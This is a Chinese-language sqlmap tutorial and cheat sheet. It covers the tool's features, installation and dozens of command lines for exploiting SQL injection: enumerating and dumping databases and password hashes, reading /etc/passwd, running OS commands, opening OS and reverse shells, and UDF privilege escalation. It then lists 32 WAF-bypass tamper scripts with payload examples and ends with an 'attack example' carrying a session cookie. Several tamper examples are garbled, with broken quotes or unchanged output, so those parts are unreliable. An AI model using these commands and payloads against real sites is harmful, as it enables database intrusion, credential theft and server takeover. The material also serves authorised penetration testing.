sqlmap简介
sqlmap是一个开源的渗透测试工具,它自动检测和利用SQL注入漏洞并接管数据库服务器。它配备了强大的检测引擎、最终渗透测试器的许多利基特性和广泛的开关,从数据库指纹、从数据库获取数据到通过带外连接访问底层文件系统和在操作系统上执行命令。
sqlmap功能
- 全力支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、Informix、MariaDB、MemSQL、TiDB、CockroachDB、HSQLDB、H2、MonetDB、Apache Derby、Vertica、Mckoi和Presto数据库管理系统。
- 完全支持六种SQL注入技术:基于布尔的盲查询、基于时间的盲查询、基于错误的查询、基于联合查询的、基于堆栈的查询和带外查询。
- 支持直接连接到数据库通过提供DBMS凭据、IP地址、端口和数据库名称,而无需通过SQL注入传递。
- 支持枚举用户、密码散列、特权、角色、数据库、表和列
- 密码哈希格式的自动识别和对使用基于字典的攻击破解它们。
- 支持转储数据库表完整地说,根据用户的选择,有一系列的条目或特定的列。用户还可以选择仅转储每列条目中的字符范围。
- 支持搜索特定数据库名称、跨所有数据库的特定表或跨所有数据库表的特定列。例如,这对于标识包含自定义应用程序凭据的表非常有用,而相关列的名称包含字符串,如name和PASS。
- 支持下载和上传任何文件当数据库软件是MySQL、PostgreSQL或MicrosoftSQLServer时,从数据库服务器底层文件系统。
- 支持执行任意命令并检索其标准输出当数据库软件是MySQL、PostgreSQL或MicrosoftSQLServer时,在底层操作系统的数据库服务器上。
- 支持**在攻击者计算机和数据库服务器之间建立带外有状态tcp连接。**底层操作系统。该通道可以是交互式命令提示符、Meterpreter会话或根据用户选择的图形用户界面(VNC)会话。
- 支持数据库进程的用户权限提升通过Metasploit‘s Meterpreter
getsystem
命令。
sqlmap安装
安装包下载地址:https://pypi.org/project/sqlmap/#files
1.将安装好的软件包解压到C盘根目录下
2.然后进入此文件夹复制路径
3.将复制的路径添加到系统环境变量
4.启动cmd终端,输入sqlmap.py使用此工具
sqlmap使用
获取基本内容
sqlmap -u "http://url/news?id=1" --current-user
#获取当前用户名称
sqlmap -u "http://www.xxoo.com/news?id=1" --current-db
# 获取当前数据库名称
sqlmap -u "http://www.xxoo.com/news?id=1" --tables -D "db_name"
#获取列表名
sqlmap -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0
#获取字段名
sqlmap -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0
#获取字段内容
重要信息获取
sqlmap -u "http://url/news?id=1" --dbms "Mysql" --users # dbms
指定数据库类型
sqlmap -u "http://url/news?id=1" --users
#列数据库用户
sqlmap -u "http://url/news?id=1" --dbs
#列数据库
sqlmap -u "http://url/news?id=1" --passwords
#数据库用户密码
sqlmap -u "http://url/news?id=1" --passwords-U root -v 0
#列出指定用户数据库密码
sqlmap -u "http://url/news?id=1" --dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20
#列出指定字段,列出20 条
sqlmap -u "http://url/news?id=1" --dump-all -v 0 #列出所有数据库所有表sqlmap -u "http://url/news?id=1" --privileges
#查看权限
sqlmap -u "http://url/news?id=1" --privileges -U root #查看指定用户权限sqlmap -u "http://url/news?id=1" --is-dba -v 1
#是否是数据库管理员
sqlmap -u "http://url/news?id=1" --roles
#枚举数据库用户角色
sqlmap -u "http://url/news?id=1" --udf-inject
#导入用户自定义函数(获取系统权限!)
sqlmap -u "http://url/news?id=1" --dump-all --exclude-sysdbs -v 0
# 列出当前库所有表
sqlmap -u "http://url/news?id=1" --union-cols #union 查询表记录sqlmap -u "http://url/news?id=1" --cookie "COOKIE_VALUE"
#cookie注入
sqlmap -u "http://url/news?id=1" -b #获取banner信息sqlmap -u "http://url/news?id=1" --data "id=3"
#post注入
sqlmap -u "http://url/news?id=1" -v 1 -f
#指纹判别数据库类型
sqlmap -u "http://url/news?id=1" --proxy"http://127.0.0.1:8118"
#代理注入
sqlmap -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE"
# 指定关键词
sqlmap -u "http://url/news?id=1" --sql-shell #执行指定sql命令sqlmap -u "http://url/news?id=1" --file /etc/passwd
sqlmap -u "http://url/news?id=1" --os-cmd=whoami #执行系统命令sqlmap -u "http://url/news?id=1" --os-shell
#系统交互shell
sqlmap -u "http://url/news?id=1" --os-pwn
#反弹shell
sqlmap -u "http://url/news?id=1" --reg-read #读取win系统注册表sqlmap -u "http://url/news?id=1" --dbs-o "sqlmap.log"
#保存进度
sqlmap -u "http://url/news?id=1" --dbs -o "sqlmap.log" --resume
# 恢复已保存进度
高级用法
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
sqlmap -g “google语法” --dump-all --batch #google搜索注入点自动 跑出所有字段 需保证google.com能正常访问
–technique 测试指定注入类型使用的技术
不加参数默认测试所有注入技术
• B: 基于布尔的SQL 盲注
• E: 基于显错 sql 注入
• U: 基于 UNION 注入
• S: 叠层 sql 注入
• T: 基于时间盲注
SQLMap Tamper
–tamper 通过编码绕过 WEB 防火墙(WAF) Sqlmap 默认用 char()
SQLMap的tamper使用命令如下:
常用的tamper脚本
代码语言:javascript复制sql -u [url] --tamper [模块名]
1.apostrophemask.py 适用数据库:ALL 作用:将引号替换为utf-8,用于过滤单引号 使用脚本前:tamper(“1 AND ‘1’='1”) 使用脚本后:1 AND '1'='1
2.base64encode.py 适用数据库:ALL 作用:替换为base64编码 使用脚本前:tamper(“1’ AND SLEEP(5)#”) 使用脚本后:MScgQU5EIFNMRUVQKDUpIw==
3.multiplespaces.py 适用数据库:ALL 作用:围绕sql关键字添加多个空格 使用脚本前:tamper(‘1 UNION SELECT foobar’) 使用脚本后:1 UNION SELECT foobar
4.space2plus.py 适用数据库:ALL 作用:用加号替换空格 使用脚本前:tamper(‘SELECT id FROM users’) 使用脚本后:SELECT id FROM users
5.nonrecursivereplacement.py 适用数据库:ALL 作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将 select替换为空) 使用脚本前:tamper(‘1 UNION SELECT 2–’) 使用脚本后:1 UNIOUNIONN SELESELECTCT 2–
6.space2randomblank.py 适用数据库:ALL 作用:将空格替换为其他有效字符 使用脚本前:tamper(‘SELECT id FROM users’) 使用脚本后:SELECT id FROM users
7.unionalltounion.py 适用数据库:ALL 作用:将union allselect 替换为unionselect 使用脚本前:tamper(’-1 UNION ALL SELECT’) 使用脚本后:-1 UNION SELECT
8.securesphere.py 适用数据库:ALL 作用:追加特定的字符串 使用脚本前:tamper(‘1 AND 1=1’) 使用脚本后:1 AND 1=1 and ‘0having’=‘0having’
9.space2dash.py 适用数据库:ALL 作用:将空格替换为–,并添加一个随机字符串和换行符 使用脚本前:tamper(‘1 AND 9227=9227’) 使用脚本后:1–nVNaVoPYeva AND–ngNvzqu 9227=9227
10.space2mssqlblank.py 适用数据库:Microsoft SQL Server 测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005 作用:将空格随机替换为其他空格符号(’’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘’, ‘ ’, ‘’, ‘’, ‘ ’, ‘’, ‘’, ‘ ’) 使用脚本前:tamper(‘SELECT id FROM users’) 使用脚本后:SELECTid FROMusers
11.percentage.py 适用数据库:ASP 测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0 作用:在每个字符前添加一个% 使用脚本前:tamper(‘SELECT FIELD FROM TABLE’) 使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
12.sp_password.py 适用数据库:MSSQL 作用:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password 使用脚本前:tamper('1 AND 9227=9227-- ') 使用脚本后:1 AND 9227=9227-- sp_password
13.charencode.py 测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、 PostgreSQL 8.3, 8.4, 9.0 作用:对给定的payload全部字符使用url编码(不处理已经编码的字符) 使用脚本前:tamper(‘SELECT FIELD FROM TABLE’) 使用脚本后:SELECT FIELD FROM TABLE
14.randomcase.py 测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、 PostgreSQL 8.3, 8.4, 9.0 作用:随机大小写 使用脚本前:tamper(‘INSERT’) 使用脚本后:INseRt
15.charunicodeencode.py 适用数据库:ASP、ASP.NET 测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3 作用:适用字符串的unicode编码 使用脚本前:tamper(‘SELECT FIELD FROM TABLE’) 使用脚本后: SELECT FIELD %u 0046ROM TABLE
16.space2comment.py 测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0 作用:将空格替换为// 使用脚本前:tamper(‘SELECT id FROM users’) 使用脚本后:SELECT//id//FROM//users
17.equaltolike.py 测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5 作用:将=替换为LIKE 使用脚本前:tamper(‘SELECT * FROM users WHERE id=1’) 使用脚本后:SELECT * FROM users WHERE id LIKE 1
18.equaltolike.py 测试通过数据库:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0 作用:将>替换为GREATEST,绕过对>的过滤 使用脚本前:tamper(‘1 AND A > B’) 使用脚本后:1 AND GREATEST(A,B 1)=A
19.ifnull2ifisnull.py 适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly) 测试通过数据库:MySQL 5.0 and 5.5 作用:将类似于IFNULL(A, B)替换为IF(ISNULL(A), B, A),绕过对IFNULL的过滤 使用脚本前:tamper(‘IFNULL(1, 2)’) 使用脚本后:IF(ISNULL(1),2,1)
20.modsecurityversioned.py 适用数据库:MySQL 测试通过数据库:MySQL 5.0 作用:过滤空格,使用mysql内联注释的方式进行注入 使用脚本前:tamper(‘1 AND 2>1–’) 使用脚本后:1 /!30874AND 2>1/–
21.space2mysqlblank.py 适用数据库:MySQL 测试通过数据库:MySQL 5.1 作用:将空格替换为其他空格符号(’ ’, ‘ ’, ‘’, ‘ ’, ‘’) 使用脚本前:tamper(‘SELECT id FROM users’) 使用脚本后:SELECTid FROMusers
22.modsecurityzeroversioned.py 适用数据库:MySQL 测试通过数据库:MySQL 5.0 作用:使用内联注释方式(/!00000/)进行注入 使用脚本前:tamper(‘1 AND 2>1–’) 使用脚本后:1 /!00000AND 2>1/–
23.space2mysqldash.py 适用数据库:MySQL、MSSQL 作用:将空格替换为 – ,并追随一个换行符 使用脚本前:tamper(‘1 AND 9227=9227’) 使用脚本后:1– AND– 9227=9227
24.bluecoat.py 适用数据库:Blue Coat SGOS 测试通过数据库:MySQL 5.1,、SGOS 作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换= 使用脚本前:tamper(‘SELECT id FROM users where id = 1’) 使用脚本后:SELECT id FROM users where id LIKE 1
25.versionedkeywords.py 适用数据库:MySQL 测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11 作用:注释绕过 使用脚本前:tamper(‘1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#’) 使用脚本后:1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS//!CHAR/),CHAR( 32)),CHAR(58,100,114,117,58))#
26.halfversionedmorekeywords.py 适用数据库:MySQL < 5.1 测试通过数据库:MySQL 4.0.18/5.0.22 作用:在每个关键字前添加mysql版本注释 使用脚本前:tamper(“value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa”) 使用脚本后: value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNUL L(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND ‘QDWa’='QDWa
27.space2morehash.py 适用数据库:MySQL >= 5.1.13 测试通过数据库:MySQL 5.1.41 作用:将空格替换为#,并添加一个随机字符串和换行符 使用脚本前:tamper(‘1 AND 9227=9227’) 使用脚本后:1#ngNvzqu AND#nVNaVoPYeva #lujYFWfv 9227=9227
28.apostrophenullencode.py 适用数据库:ALL 作用:用非法双字节Unicode字符替换单引号 使用脚本前:tamper(“1 AND ‘1’='1”) 使用脚本后:1 AND '1 '= '1
29.appendnullbyte.py 适用数据库:ALL 作用:在有效载荷的结束位置加载null字节字符编码 使用脚本前:tamper(‘1 AND 1=1’) 使用脚本后:1 AND 1=1
30.chardoubleencode.py 适用数据库:ALL 作用:对给定的payload全部字符使用双重url编码(不处理已经编码的字符) 使用脚本前:tamper(‘SELECT FIELD FROM TABLE’) 使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F %4D%20%54%41%42%4C%45
31.unmagicquotes.py 适用数据库:ALL 作用:用一个多字节组合�'和末尾通用注释一起替换空格 使用脚本前:tamper(“1’ AND 1=1”) 使用脚本后:1�' AND 1=1–
32.randomcomments.py
适用数据库:ALL
作用:用注释符分割sql关键字
使用脚本前:tamper(‘INSERT’)
使用脚本后:I//N//SERT
sqlmap -u "http://url/news?id=1" --smart --level 3 --users
# smart 智能level 执行测试等级
攻击实例:
Sqlmap.py -u "http://url/news?id=1" --cookie="PHPSESSI=4b5cac51d268af5f697307bd587389bc" --dbms=mysql --users --password